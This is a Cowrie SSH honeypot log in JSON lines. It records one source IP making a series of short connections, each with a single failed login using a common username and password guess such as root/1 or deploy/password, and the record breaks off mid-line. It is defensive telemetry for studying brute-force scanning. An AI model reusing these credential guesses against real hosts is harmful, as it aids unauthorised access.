{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:47.124746Z","src_ip":"45.156.87.253","session":"a904a9026de4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:47.205183Z","src_ip":"45.156.87.253","session":"a904a9026de4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:47.595585Z","src_ip":"45.156.87.253","session":"a904a9026de4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:48.679486Z","src_ip":"45.156.87.253","session":"a904a9026de4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":33144,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8c304095675","protocol":"ssh","message":"New connection: 45.156.87.253:33144 (10.17.0.5:22) [session: d8c304095675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:50.613642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:50.617409Z","src_ip":"45.156.87.253","session":"d8c304095675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:50.697933Z","src_ip":"45.156.87.253","session":"d8c304095675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:50.940825Z","src_ip":"45.156.87.253","session":"d8c304095675","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:52.024220Z","src_ip":"45.156.87.253","session":"d8c304095675","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":33152,"dst_ip":"10.17.0.5","dst_port":22,"session":"25e23f3bf0fd","protocol":"ssh","message":"New connection: 45.156.87.253:33152 (10.17.0.5:22) [session: 25e23f3bf0fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:53.903762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:53.907101Z","src_ip":"45.156.87.253","session":"25e23f3bf0fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:53.987833Z","src_ip":"45.156.87.253","session":"25e23f3bf0fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"passwd","message":"login attempt [test/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:54.231084Z","src_ip":"45.156.87.253","session":"25e23f3bf0fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:55.314113Z","src_ip":"45.156.87.253","session":"25e23f3bf0fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":33168,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc79c0e80c6c","protocol":"ssh","message":"New connection: 45.156.87.253:33168 (10.17.0.5:22) [session: fc79c0e80c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:57.175866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:57.179568Z","src_ip":"45.156.87.253","session":"fc79c0e80c6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:57.335185Z","src_ip":"45.156.87.253","session":"fc79c0e80c6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:57.952669Z","src_ip":"45.156.87.253","session":"fc79c0e80c6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:59.037370Z","src_ip":"45.156.87.253","session":"fc79c0e80c6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52376,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee9b64b1db1b","protocol":"ssh","message":"New connection: 45.156.87.253:52376 (10.17.0.5:22) [session: ee9b64b1db1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:00.610243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:00.616460Z","src_ip":"45.156.87.253","session":"ee9b64b1db1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:00.698526Z","src_ip":"45.156.87.253","session":"ee9b64b1db1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:00.947489Z","src_ip":"45.156.87.253","session":"ee9b64b1db1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:02.032720Z","src_ip":"45.156.87.253","session":"ee9b64b1db1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52396,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b126fdfaa65","protocol":"ssh","message":"New connection: 45.156.87.253:52396 (10.17.0.5:22) [session: 1b126fdfaa65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:03.813726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:03.822653Z","src_ip":"45.156.87.253","session":"1b126fdfaa65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:03.903669Z","src_ip":"45.156.87.253","session":"1b126fdfaa65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:04.150607Z","src_ip":"45.156.87.253","session":"1b126fdfaa65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:05.252033Z","src_ip":"45.156.87.253","session":"1b126fdfaa65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52416,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb811b4b3a39","protocol":"ssh","message":"New connection: 45.156.87.253:52416 (10.17.0.5:22) [session: fb811b4b3a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:07.151848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:07.266667Z","src_ip":"45.156.87.253","session":"fb811b4b3a39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:07.270186Z","src_ip":"45.156.87.253","session":"fb811b4b3a39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:07.617462Z","src_ip":"45.156.87.253","session":"fb811b4b3a39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:08.703865Z","src_ip":"45.156.87.253","session":"fb811b4b3a39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44278,"dst_ip":"10.17.0.5","dst_port":22,"session":"9dc8f92521fd","protocol":"ssh","message":"New connection: 45.156.87.253:44278 (10.17.0.5:22) [session: 9dc8f92521fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:10.662116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:10.666982Z","src_ip":"45.156.87.253","session":"9dc8f92521fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:10.753489Z","src_ip":"45.156.87.253","session":"9dc8f92521fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2026","message":"login attempt [root/P@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:11.009988Z","src_ip":"45.156.87.253","session":"9dc8f92521fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:12.095965Z","src_ip":"45.156.87.253","session":"9dc8f92521fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44280,"dst_ip":"10.17.0.5","dst_port":22,"session":"3aa1fbbfd959","protocol":"ssh","message":"New connection: 45.156.87.253:44280 (10.17.0.5:22) [session: 3aa1fbbfd959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:13.973968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:13.982414Z","src_ip":"45.156.87.253","session":"3aa1fbbfd959","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com